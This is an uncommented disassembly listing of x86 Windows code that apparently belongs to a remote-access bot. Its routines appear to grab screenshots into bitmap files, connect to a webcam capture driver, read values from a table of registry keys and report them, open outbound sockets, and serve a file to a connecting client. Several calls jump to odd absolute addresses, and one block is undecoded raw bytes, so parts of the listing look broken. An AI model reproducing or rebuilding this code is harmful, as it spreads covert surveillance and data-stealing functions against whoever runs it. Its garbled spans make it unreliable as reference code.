		mov	[ebp+var_8], eax
		call	dword_4CB62C
		push	0Ch
		push	edi
		mov	[ebp+var_C], eax
		call	dword_4CB62C
		cmp	eax, 8
		mov	[ebp+var_10], eax
		ja	short loc_41541E
		push	18h
		push	edi
		call	dword_4CB62C
		mov	ebx, 100h
		jmp	short loc_415420
; ---------------------------------------------------------------------------


loc_41541E:				; CODE XREF: sub_4153BC+50j
		xor	ebx, ebx


loc_415420:				; CODE XREF: sub_4153BC+60j
		push	edi
		call	dword_4CB670
		cmp	eax, esi
		mov	[ebp+var_4], eax
		jz	loc_4155D5
		mov	eax, [ebp+var_8]
		push	esi
		mov	[ebp+var_80], eax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_7C], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_76], ax
		lea	eax, [ebp+var_18]
		push	esi
		push	eax
		lea	eax, [ebp+var_84]
		push	1
		push	eax
		push	edi
		mov	[ebp+var_84], 28h
		mov	[ebp+var_78], 1
		mov	[ebp+var_74], esi
		mov	[ebp+var_70], esi
		mov	[ebp+var_6C], esi
		mov	[ebp+var_68], esi
		mov	[ebp+var_64], ebx
		mov	[ebp+var_60], ebx
		call	dword_4CB668
		cmp	eax, esi
		mov	[ebp+var_1C], eax
		jz	loc_4155E0
		push	eax
		push	[ebp+var_4]
		call	dword_4CB4F4
		cmp	eax, esi
		jz	loc_4155E0
		cmp	eax, 0FFFFFFFFh
		jz	loc_4155E0
		push	0CC0020h
		push	esi
		push	esi
		push	edi
		push	[ebp+var_C]
		push	[ebp+var_8]
		push	esi
		push	esi
		push	[ebp+var_4]
		call	dword_4CB66C
		test	eax, eax
		jz	loc_4155E0
		cmp	ebx, esi
		jz	short loc_4154DD
		lea	eax, [ebp+var_484]
		push	eax
		push	ebx
		push	esi
		push	[ebp+var_4]
		call	dword_4CB548
		mov	ebx, eax


loc_4154DD:				; CODE XREF: sub_4153BC+10Bj
		mov	edi, [ebp+var_10]
		mov	ecx, [ebp+var_8]
		imul	edi, [ebp+var_C]
		imul	edi, ecx
		mov	eax, ebx
		push	esi
		shr	edi, 3
		shl	eax, 2
		mov	[ebp+var_8], eax
		push	80h
		lea	edx, [eax+edi+36h]
		add	eax, 36h
		push	2
		mov	[ebp+var_26], eax
		mov	eax, [ebp+var_C]
		push	esi
		push	esi
		push	40000000h
		push	[ebp+arg_0]
		mov	[ebp+var_50], eax
		mov	ax, word ptr [ebp+var_10]
		mov	[ebp+var_30], 4D42h
		mov	[ebp+var_2E], edx
		mov	[ebp+var_2A], si
		mov	[ebp+var_28], si
		mov	[ebp+var_58], 28h
		mov	[ebp+var_54], ecx
		mov	[ebp+var_4C], 1
		mov	[ebp+var_4A], ax
		mov	[ebp+var_48], esi
		mov	[ebp+var_44], esi
		mov	[ebp+var_40], esi
		mov	[ebp+var_3C], esi
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], esi
		call	near ptr 26F0864h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[ebp+arg_0], eax
		jz	short loc_4155C0
		lea	ecx, [ebp+var_14]
		push	esi
		push	ecx
		lea	ecx, [ebp+var_30]
		push	0Eh
		push	ecx
		push	eax
		nop
		call	near ptr 26E0000h
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_58]
		push	28h
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 26E0000h
		cmp	ebx, esi
		jz	short loc_4155A2
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		lea	eax, [ebp+var_484]
		push	[ebp+var_8]
		push	eax
		push	[ebp+arg_0]
		nop
		call	near ptr 26E0000h


loc_4155A2:				; CODE XREF: sub_4153BC+1CCj
		lea	eax, [ebp+var_14]
		push	esi
		push	eax
		push	edi
		push	[ebp+var_18]
		push	[ebp+arg_0]
		nop
		call	near ptr 26E0000h
		push	[ebp+arg_0]
		nop
		call	near ptr 2650937h
		push	1
		pop	esi


loc_4155C0:				; CODE XREF: sub_4153BC+1A2j
		push	[ebp+var_1C]
		call	dword_4CB580
		push	[ebp+var_4]
		call	dword_4CB4E0
		mov	edi, [ebp+var_20]


loc_4155D5:				; CODE XREF: sub_4153BC+70j
		push	edi
		call	dword_4CB4E0
		mov	eax, esi
		jmp	short loc_4155F2
; ---------------------------------------------------------------------------


loc_4155E0:				; CODE XREF: sub_4153BC+C7j
					; sub_4153BC+D9j ...
		push	edi
		call	dword_4CB4E0
		push	[ebp+var_4]
		call	dword_4CB4E0


loc_4155F0:				; CODE XREF: sub_4153BC+23j
		xor	eax, eax


loc_4155F2:				; CODE XREF: sub_4153BC+222j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4153BC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4155F7	proc near		; CODE XREF: sub_401ACD+7476p

var_34		= byte ptr -34h
var_20		= dword	ptr -20h
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 34h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_4D3250
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4CB574
		mov	edi, eax
		cmp	edi, ebx
		mov	[ebp+var_4], edi
		jnz	short loc_415635
		mov	eax, esi
		jmp	loc_4157EB
; ---------------------------------------------------------------------------


loc_415635:				; CODE XREF: sub_4155F7+35j
		push	edi
		call	dword_4CB5C4
		test	eax, eax
		jz	short loc_415652
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4CB680
		jmp	short loc_415654
; ---------------------------------------------------------------------------


loc_415652:				; CODE XREF: sub_4155F7+47j
		xor	eax, eax


loc_415654:				; CODE XREF: sub_4155F7+59j
		cmp	eax, ebx
		jnz	short loc_41565F


loc_415658:				; CODE XREF: sub_4155F7+88j
					; sub_4155F7+BCj
		mov	ebx, esi
		jmp	loc_4157E0
; ---------------------------------------------------------------------------


loc_41565F:				; CODE XREF: sub_4155F7+5Fj
		push	edi
		call	dword_4CB5C4
		test	eax, eax
		jz	short loc_41567C
		lea	eax, [ebp+var_34]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4CB680


loc_41567C:				; CODE XREF: sub_4155F7+71j
		cmp	[ebp+var_20], ebx
		jz	short loc_415658
		push	edi
		call	dword_4CB5C4
		test	eax, eax
		mov	edi, 42Ch
		jz	short loc_4156A2
		push	ebx
		push	ebx
		push	edi
		push	[ebp+var_4]
		call	dword_4CB680
		mov	[ebp+arg_4], eax
		jmp	short loc_4156A5
; ---------------------------------------------------------------------------


loc_4156A2:				; CODE XREF: sub_4155F7+98j
		mov	[ebp+arg_4], ebx


loc_4156A5:				; CODE XREF: sub_4155F7+A9j
		push	[ebp+arg_4]
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_8], eax
		jz	short loc_415658
		push	[ebp+arg_4]
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4156CC
		push	1
		pop	ebx
		jmp	loc_4157E0
; ---------------------------------------------------------------------------


loc_4156CC:				; CODE XREF: sub_4155F7+CBj
		push	[ebp+var_4]
		call	dword_4CB5C4
		test	eax, eax
		jz	short loc_4156E9
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CB680


loc_4156E9:				; CODE XREF: sub_4155F7+E0j
		push	[ebp+arg_4]
		push	[ebp+var_8]
		push	esi
		call	sub_41C310
		mov	ecx, [ebp+arg_8]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_415704
		mov	ecx, 280h


loc_415704:				; CODE XREF: sub_4155F7+106j
		mov	eax, [ebp+arg_C]
		cmp	eax, ebx
		jg	short loc_415710
		mov	eax, 1E0h


loc_415710:				; CODE XREF: sub_4155F7+112j
		push	[ebp+var_4]
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4CB5C4
		test	eax, eax
		mov	edi, 42Dh
		jz	short loc_41575A
		push	esi
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CB680


loc_41575A:				; CODE XREF: sub_4155F7+153j
		push	[ebp+var_4]
		call	dword_4CB5C4
		test	eax, eax
		jz	short loc_415777
		push	ebx
		push	ebx
		push	43Dh
		push	[ebp+var_4]
		call	dword_4CB680


loc_415777:				; CODE XREF: sub_4155F7+16Ej
		push	[ebp+var_4]
		call	dword_4CB5C4
		test	eax, eax
		jz	short loc_415796
		push	[ebp+arg_0]
		push	ebx
		push	419h
		push	[ebp+var_4]
		call	dword_4CB680


loc_415796:				; CODE XREF: sub_4155F7+18Bj
		push	[ebp+var_4]
		call	dword_4CB5C4
		test	eax, eax
		jz	short loc_4157B3
		push	[ebp+var_8]
		push	[ebp+arg_4]
		push	edi
		push	[ebp+var_4]
		call	dword_4CB680


loc_4157B3:				; CODE XREF: sub_4155F7+1AAj
		push	[ebp+var_8]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx
		push	[ebp+var_4]
		call	dword_4CB5C4
		test	eax, eax
		jz	short loc_4157E0
		push	ebx
		push	ebx
		push	40Bh
		push	[ebp+var_4]
		call	dword_4CB680


loc_4157E0:				; CODE XREF: sub_4155F7+63j
					; sub_4155F7+D0j ...
		push	[ebp+var_4]
		call	dword_4CB6D4
		mov	eax, ebx


loc_4157EB:				; CODE XREF: sub_4155F7+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4155F7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4157F0	proc near		; CODE XREF: sub_401ACD+752Ep

var_90		= byte ptr -90h
var_7C		= dword	ptr -7Ch
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 90h
		push	ebx
		push	esi
		push	edi
		push	1
		pop	esi
		xor	ebx, ebx
		push	esi
		push	dword_4D3250
		push	78h
		push	0A0h
		push	ebx
		push	ebx
		push	40000000h
		push	offset aWindow	; "Window"
		call	dword_4CB574
		mov	edi, eax
		cmp	edi, ebx
		jnz	short loc_41582E
		mov	eax, esi
		jmp	loc_415A2A
; ---------------------------------------------------------------------------


loc_41582E:				; CODE XREF: sub_4157F0+35j
		push	edi
		call	dword_4CB5C4
		test	eax, eax
		jz	short loc_41584B
		push	ebx
		push	[ebp+arg_4]
		push	40Ah
		push	edi
		call	dword_4CB680
		jmp	short loc_41584D
; ---------------------------------------------------------------------------


loc_41584B:				; CODE XREF: sub_4157F0+47j
		xor	eax, eax


loc_41584D:				; CODE XREF: sub_4157F0+59j
		cmp	eax, ebx
		jnz	short loc_415858


loc_415851:				; CODE XREF: sub_4157F0+8Bj
					; sub_4157F0+BCj
		mov	ebx, esi
		jmp	loc_415A21
; ---------------------------------------------------------------------------


loc_415858:				; CODE XREF: sub_4157F0+5Fj
		push	edi
		call	dword_4CB5C4
		test	eax, eax
		jz	short loc_415878
		lea	eax, [ebp+var_90]
		push	eax
		push	2Ch
		push	40Eh
		push	edi
		call	dword_4CB680


loc_415878:				; CODE XREF: sub_4157F0+71j
		cmp	[ebp+var_7C], ebx
		jz	short loc_415851
		push	edi
		call	dword_4CB5C4
		test	eax, eax
		jz	short loc_41589B
		push	ebx
		push	ebx
		push	42Ch
		push	edi
		call	dword_4CB680
		mov	[ebp+arg_4], eax
		jmp	short loc_41589E
; ---------------------------------------------------------------------------


loc_41589B:				; CODE XREF: sub_4157F0+96j
		mov	[ebp+arg_4], ebx


loc_41589E:				; CODE XREF: sub_4157F0+A9j
		push	[ebp+arg_4]
		call	sub_41B4D5
		cmp	eax, ebx
		pop	ecx
		mov	[ebp+var_4], eax
		jz	short loc_415851
		push	[ebp+arg_4]
		call	sub_41B4D5
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		jnz	short loc_4158C5
		push	1
		pop	ebx
		jmp	loc_415A21
; ---------------------------------------------------------------------------


loc_4158C5:				; CODE XREF: sub_4157F0+CBj
		push	edi
		call	dword_4CB5C4
		test	eax, eax
		jz	short loc_4158E2
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Ch
		push	edi
		call	dword_4CB680


loc_4158E2:				; CODE XREF: sub_4157F0+DEj
		push	[ebp+arg_4]
		push	[ebp+var_4]
		push	esi
		call	sub_41C310
		mov	ecx, [ebp+arg_C]
		add	esp, 0Ch
		cmp	ecx, ebx
		jg	short loc_4158FD
		mov	ecx, 0A0h


loc_4158FD:				; CODE XREF: sub_4157F0+106j
		mov	eax, [ebp+arg_10]
		cmp	eax, ebx
		jg	short loc_415907
		push	78h
		pop	eax


loc_415907:				; CODE XREF: sub_4157F0+112j
		push	edi
		mov	[esi+4], ecx
		mov	[esi+8], eax
		mov	word ptr [esi+0Eh], 10h
		mov	[esi+14h], ebx
		mov	[esi+10h], ebx
		mov	[esi+20h], ebx
		mov	[esi+24h], ebx
		mov	word ptr [esi+0Ch], 1
		mov	[esi+28h], bl
		mov	[esi+29h], bl
		mov	[esi+2Ah], bl
		mov	[esi+2Bh], bl
		call	dword_4CB5C4
		test	eax, eax
		jz	short loc_41594C
		push	esi
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_4CB680


loc_41594C:				; CODE XREF: sub_4157F0+14Aj
		push	edi
		call	dword_4CB5C4
		test	eax, eax
		jz	short loc_415969
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	441h
		push	edi
		call	dword_4CB680


loc_415969:				; CODE XREF: sub_4157F0+165j
		push	edi
		mov	[ebp+var_60], ebx
		mov	[ebp+var_3C], ebx
		mov	[ebp+var_38], ebx
		mov	[ebp+var_34], ebx
		mov	[ebp+var_30], 1
		mov	[ebp+var_2C], 5
		mov	[ebp+var_64], 1046Ah
		call	dword_4CB5C4
		test	eax, eax
		jz	short loc_4159A7
		lea	eax, [ebp+var_64]
		push	eax
		push	60h
		push	440h
		push	edi
		call	dword_4CB680


loc_4159A7:				; CODE XREF: sub_4157F0+1A3j
		push	edi
		call	dword_4CB5C4
		test	eax, eax
		jz	short loc_4159C2
		push	[ebp+arg_0]
		push	ebx
		push	414h
		push	edi
		call	dword_4CB680


loc_4159C2:				; CODE XREF: sub_4157F0+1C0j
		push	edi
		call	dword_4CB5C4
		test	eax, eax
		jz	short loc_4159DB
		push	ebx
		push	ebx
		push	43Eh
		push	edi
		call	dword_4CB680


loc_4159DB:				; CODE XREF: sub_4157F0+1DBj
		push	edi
		call	dword_4CB5C4
		test	eax, eax
		jz	short loc_4159F8
		push	[ebp+var_4]
		push	[ebp+arg_4]
		push	42Dh
		push	edi
		call	dword_4CB680


loc_4159F8:				; CODE XREF: sub_4157F0+1F4j
		push	[ebp+var_4]
		call	sub_41B0B1
		push	esi
		call	sub_41B0B1
		pop	ecx
		pop	ecx
		push	edi
		call	dword_4CB5C4
		test	eax, eax
		jz	short loc_415A21
		push	ebx
		push	ebx
		push	40Bh
		push	edi
		call	dword_4CB680


loc_415A21:				; CODE XREF: sub_4157F0+63j
					; sub_4157F0+D0j ...
		push	edi
		call	dword_4CB6D4
		mov	eax, ebx


loc_415A2A:				; CODE XREF: sub_4157F0+39j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_4157F0	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415A2F	proc near		; CODE XREF: sub_401ACD+25F1p

var_3F4		= byte ptr -3F4h
var_2F0		= byte ptr -2F0h
var_F0		= byte ptr -0F0h
var_70		= byte ptr -70h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 3F4h
		push	ebx
		xor	ebx, ebx
		cmp	off_4368B4, ebx
		mov	[ebp+var_C], 80h
		jz	loc_415BD0
		push	esi
		push	edi
		mov	eax, offset off_4368B4
		mov	esi, offset dword_4368C0
		mov	edi, offset dword_437AB8


loc_415A5F:				; CODE XREF: sub_415A2F+199j
		lea	ecx, [ebp+var_4]
		push	ecx
		push	20019h
		push	ebx
		push	dword ptr [eax]
		push	dword ptr [esi-10h]
		call	dword_4CB694
		lea	eax, [ebp+var_C]
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		push	ebx
		push	ebx
		push	dword ptr [esi-8]
		push	[ebp+var_4]
		call	dword_4CB524
		test	eax, eax
		jnz	loc_415BB6
		mov	eax, [esi]
		cmp	eax, ebx
		jz	loc_415B7A
		push	eax
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_3F4]
		push	offset dword_429A8C
		push	eax
		call	sub_41B886
		lea	eax, [ebp+var_3F4]
		push	offset aR	; "r"
		push	eax
		call	sub_41B4C2
		add	esp, 18h
		cmp	eax, ebx
		mov	[ebp+var_8], eax
		jz	loc_415BB6
		push	eax


loc_415AD8:				; CODE XREF: sub_415A2F+D4j
		lea	eax, [ebp+var_70]
		push	64h
		push	eax
		call	sub_41BB4F
		add	esp, 0Ch
		test	eax, eax
		jz	loc_415B6F
		push	dword ptr [esi+4]
		lea	eax, [ebp+var_70]
		push	eax
		call	sub_41B900
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415B05
		push	[ebp+var_8]
		jmp	short loc_415AD8
; ---------------------------------------------------------------------------


loc_415B05:				; CODE XREF: sub_415A2F+CFj
		push	3Dh
		push	dword ptr [esi+4]
		call	sub_41BFB0
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_415B33
		lea	eax, [ebp+var_70]
		push	offset asc_437AB4 ; "="
		push	eax
		call	sub_41C0F4
		push	offset asc_437AB4 ; "="
		push	ebx
		call	sub_41C0F4
		add	esp, 10h
		jmp	short loc_415B36
; ---------------------------------------------------------------------------


loc_415B33:				; CODE XREF: sub_415A2F+E4j
		lea	eax, [ebp+var_70]


loc_415B36:				; CODE XREF: sub_415A2F+102j
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41B886
		add	esp, 10h
		lea	eax, [ebp+var_2F0]
		push	ebx
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4151AC
		add	esp, 18h


loc_415B6F:				; CODE XREF: sub_415A2F+B9j
		push	[ebp+var_8]
		call	sub_41B05B
		pop	ecx
		jmp	short loc_415BB6
; ---------------------------------------------------------------------------


loc_415B7A:				; CODE XREF: sub_415A2F+6Aj
		lea	eax, [ebp+var_F0]
		push	eax
		lea	eax, [ebp+var_2F0]
		push	dword ptr [esi-4]
		push	edi
		push	eax
		call	sub_41B886
		push	ebx
		lea	eax, [ebp+var_2F0]
		push	[ebp+arg_8]
		push	eax
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_409A72
		lea	eax, [ebp+var_2F0]
		push	eax
		call	sub_4151AC
		add	esp, 28h


loc_415BB6:				; CODE XREF: sub_415A2F+60j
					; sub_415A2F+A2j ...
		push	[ebp+var_4]
		call	dword_4CB600
		add	esi, 18h
		cmp	[esi-0Ch], ebx
		lea	eax, [esi-0Ch]
		jnz	loc_415A5F
		pop	edi
		pop	esi


loc_415BD0:				; CODE XREF: sub_415A2F+19j
		pop	ebx
		leave
		retn
sub_415A2F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_415BD3	proc near		; CODE XREF: ___:00416278p

var_10		= word ptr -10h
var_E		= word ptr -0Eh
var_C		= dword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 10h
		push	esi
		push	edi
		push	0
		push	1
		push	2
		call	dword_4CB6A4
		mov	edi, eax
		or	esi, 0FFFFFFFFh
		cmp	edi, esi
		jz	short loc_415C4F
		push	10h
		lea	eax, [ebp+var_10]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	[ebp+var_10], 2
		push	[ebp+arg_4]
		call	dword_4CB624
		push	[ebp+arg_0]
		mov	[ebp+var_E], ax
		call	dword_4CB664
		cmp	eax, esi
		jnz	short loc_415C34
		push	[ebp+arg_0]
		call	dword_4CB6A8
		test	eax, eax
		jz	short loc_415C4F
		mov	eax, [eax+0Ch]
		mov	eax, [eax]
		mov	eax, [eax]


loc_415C34:				; CODE XREF: sub_415BD3+4Bj
		mov	[ebp+var_C], eax
		lea	eax, [ebp+var_10]
		push	10h
		push	eax
		push	edi
		call	dword_4CB5CC
		cmp	eax, esi
		jnz	short loc_415C53
		push	edi
		call	dword_4CB6BC


loc_415C4F:				; CODE XREF: sub_415BD3+1Bj
					; sub_415BD3+58j
		mov	eax, esi
		jmp	short loc_415C55
; ---------------------------------------------------------------------------


loc_415C53:				; CODE XREF: sub_415BD3+73j
		mov	eax, edi


loc_415C55:				; CODE XREF: sub_415BD3+7Ej
		pop	edi
		pop	esi
		leave
		retn
sub_415BD3	endp

; ---------------------------------------------------------------------------
byte_415C59	db 55h,	8Bh, 0ECh	; DATA XREF: sub_401ACD+A1Eo
		dd 11B4B8h, 5EBAE800h, 458B0000h, 57565308h, 0F08B6D6Ah
		dd 4CBD8D59h, 0F3FFFFFEh, 5E016AA5h, 89EC75FFh,	1B0B0h
		dd 54858D00h, 50FFFFFEh, 0FFFF42E8h, 59D88BFFh,	59FFFB83h
		dd 858D5275h, 0FFFFEE4Ch, 437B3468h, 0DBE85000h, 3300005Bh
		dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh,	8D50F475h
		dd 0FFFF6C85h, 0E85350FFh, 0FFFF3DA6h, 8D14C483h, 0FFEE4C85h
		dd 0D1E850FFh, 0FFFFFFF4h, 2FE8F075h, 59FFFF57h, 15E85659h
		dd 90022BA3h, 43D7D868h, 6DE85300h, 5900003Fh, 59FFF883h
		dd 858D5975h, 0FFFFEE4Ch, 437B0468h, 77E85000h,	3300005Bh
		dd 7D3959FFh, 1B7559F8h, 4C858D57h, 0FFFFFFEEh,	8D50F475h
		dd 0FFFF6C85h, 0E85350FFh, 0FFFF3D42h, 8D14C483h, 0FFEE4C85h
		dd 6DE850FFh, 59FFFFF4h, 0BC15FF53h, 0FF004CB6h, 0C3E8F075h
		dd 59FFFF56h, 0A9E89056h, 6A022BA2h, 0D6E89064h, 330225A7h
		dd 1000BEFFh, 8D560000h, 0FFEE4C85h, 0E85057FFh, 581Ch
		dd 8D0CC483h, 0FFEE4C85h, 505657FFh, 3C15FF53h,	85004CB6h
		dd 8D387EC0h, 0FFEE4C85h, 0A06868FFh, 0E8500042h, 6124h
		dd 0EE4C858Dh, 0E850FFFFh, 3CA8h, 850CC483h, 6A1474C0h
		dd 7EE89064h, 6A0225A7h, 5580E80Ah, 0C085FFFFh,	8DA37559h
		dd 0FFEE4C85h, 7AD068FFh, 0E8500043h, 5AB2h, 59F87D39h
		dd 571B7559h, 0EE4C858Dh, 75FFFFFFh, 858D50F4h,	0FFFFFF6Ch
		dd 7FE85350h, 83FFFF3Ch, 858D14C4h, 0FFFFEE4Ch,	0F3AAE850h
		dd 5359FFFFh, 0B6BC15FFh, 75FF004Ch, 5600E8F0h,	5759FFFFh
		dd 0A1E6E890h
; ---------------------------------------------------------------------------
		sub	eax, [edx]


loc_415E1A:				; DATA XREF: sub_401ACD+7831o
		push	ebp
		mov	ebp, esp
		sub	esp, 0A04h
		mov	eax, [ebp+8]
		push	ebx
		push	esi
		push	edi
		push	6Dh
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp-1FCh]
		rep movsd
		push	1
		xor	esi, esi
		pop	ebx
		mov	[ebp-10h], esi
		push	esi
		push	ebx
		push	2
		mov	[eax+1B0h], ebx
		mov	[ebp-0Ch], esi
		mov	[ebp-20h], esi
		call	dword_4CB6A4
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		mov	[ebp-18h], edi
		jnz	short loc_415E68
		push	offset unk_437C34
		jmp	loc_416021
; ---------------------------------------------------------------------------


loc_415E68:				; CODE XREF: ___:00415E5Cj
		push	10h
		lea	eax, [ebp-30h]
		push	esi
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		mov	word ptr [ebp-30h], 2
		push	esi
		call	dword_4CB624
		mov	[ebp-2Eh], ax
		lea	eax, [ebp-30h]
		push	10h
		push	eax
		push	edi
		mov	[ebp-2Ch], esi
		call	dword_4CB650
		test	eax, eax
		jz	short loc_415EA6
		push	offset unk_437C10
		jmp	loc_416021
; ---------------------------------------------------------------------------


loc_415EA6:				; CODE XREF: ___:00415E9Aj
		lea	eax, [ebp-1Ch]
		mov	dword ptr [ebp-1Ch], 10h
		push	eax
		lea	eax, [ebp-30h]
		push	eax
		push	edi
		call	dword_4CB5C8
		push	dword ptr [ebp-2Eh]
		call	dword_4CB554
		mov	[ebp-4], eax
		lea	eax, [ebp-1E0h]
		push	eax
		mov	[ebp+8], esi
		call	sub_41AFE0
		pop	ecx


loc_415ED8:				; CODE XREF: ___:00415F09j
		mov	ecx, [ebp+8]
		mov	al, [ebp+ecx-1E0h]
		cmp	al, 20h
		jnz	short loc_415EEB
		push	5Fh
		pop	eax
		jmp	short loc_415EEE
; ---------------------------------------------------------------------------


loc_415EEB:				; CODE XREF: ___:00415EE4j
		movsx	eax, al


loc_415EEE:				; CODE XREF: ___:00415EE9j
		mov	[ebp+ecx-604h],	al
		lea	eax, [ebp-1E0h]
		inc	ecx
		push	eax
		mov	[ebp+8], ecx
		call	sub_41AFE0
		cmp	[ebp+8], eax
		pop	ecx
		jbe	short loc_415ED8
		push	ebx
		push	edi
		call	dword_4CB64C
		test	eax, eax
		jz	short loc_415F21
		push	offset unk_437B34
		jmp	loc_416021
; ---------------------------------------------------------------------------


loc_415F21:				; CODE XREF: ___:00415F15j
		push	esi
		push	esi
		push	3
		push	esi
		push	ebx
		lea	eax, [ebp-1E0h]
		push	80000000h
		push	eax
		call	near ptr 26F0864h
		nop
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-8], eax
		jnz	short loc_415F4B
		push	offset unk_437BF0
		jmp	loc_416021
; ---------------------------------------------------------------------------


loc_415F4B:				; CODE XREF: ___:00415F3Fj
		push	esi
		push	eax
		nop
		call	near ptr 2730B64h
		mov	[ebp+8], eax
		push	eax
		movzx	eax, word ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_40AC0F
		pop	ecx
		push	eax
		call	dword_4CB664
		push	eax
		call	dword_4CB620
		push	eax
		lea	eax, [ebp-1E0h]
		push	eax
		lea	eax, [ebp-3FCh]
		push	offset dword_437BD8
		push	eax
		call	sub_41B886
		push	esi
		lea	eax, [ebp-3FCh]
		push	esi
		push	eax
		lea	eax, [ebp-0DCh]
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		add	esp, 2Ch
		lea	eax, [ebp-38h]
		mov	dword ptr [ebp-38h], 3Ch
		mov	[ebp-34h], esi
		push	eax
		push	esi
		lea	eax, [ebp-500h]
		push	esi
		push	eax
		push	esi
		mov	[ebp-4FCh], edi
		mov	[ebp-500h], ebx
		call	dword_4CB60C
		test	eax, eax
		jg	short loc_415FFB
		push	esi
		lea	eax, [ebp-0DCh]
		push	dword ptr [ebp-54h]
		push	offset dword_437BC0
		push	eax
		push	dword ptr [ebp-1FCh]
		call	sub_409A72
		jmp	loc_41611F
; ---------------------------------------------------------------------------


loc_415FFB:				; CODE XREF: ___:00415FD9j
		lea	eax, [ebp-14h]
		mov	dword ptr [ebp-14h], 10h
		push	eax
		lea	eax, [ebp-48h]
		push	eax
		push	edi
		call	dword_4CB6B8
		cmp	eax, 0FFFFFFFFh
		mov	[ebp-1F8h], eax
		jnz	short loc_416034
		push	offset unk_437B9C


loc_416021:				; CODE XREF: ___:00415E63j
					; ___:00415EA1j ...
		lea	eax, [ebp-3FCh]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		jmp	loc_416122
; ---------------------------------------------------------------------------


loc_416034:				; CODE XREF: ___:0041601Aj
		push	edi
		call	dword_4CB6BC
		cmp	[ebp+8], esi
		jz	loc_4160E6
		mov	edi, 400h


loc_416049:				; CODE XREF: ___:004160DDj
		mov	eax, [ebp+8]
		mov	[ebp-4], edi
		cmp	eax, edi
		jge	short loc_416056
		mov	[ebp-4], eax


loc_416056:				; CODE XREF: ___:00416051j
		push	edi
		lea	eax, [ebp-0A04h]
		push	esi
		push	eax
		call	sub_41B590
		mov	eax, [ebp+8]
		add	esp, 0Ch
		neg	eax
		push	2
		push	esi
		push	eax
		push	dword ptr [ebp-8]
		call	near ptr 2760000h
		nop
		lea	eax, [ebp-20h]
		push	esi
		push	eax
		lea	eax, [ebp-0A04h]
		push	dword ptr [ebp-4]
		push	eax
		push	dword ptr [ebp-8]
		nop
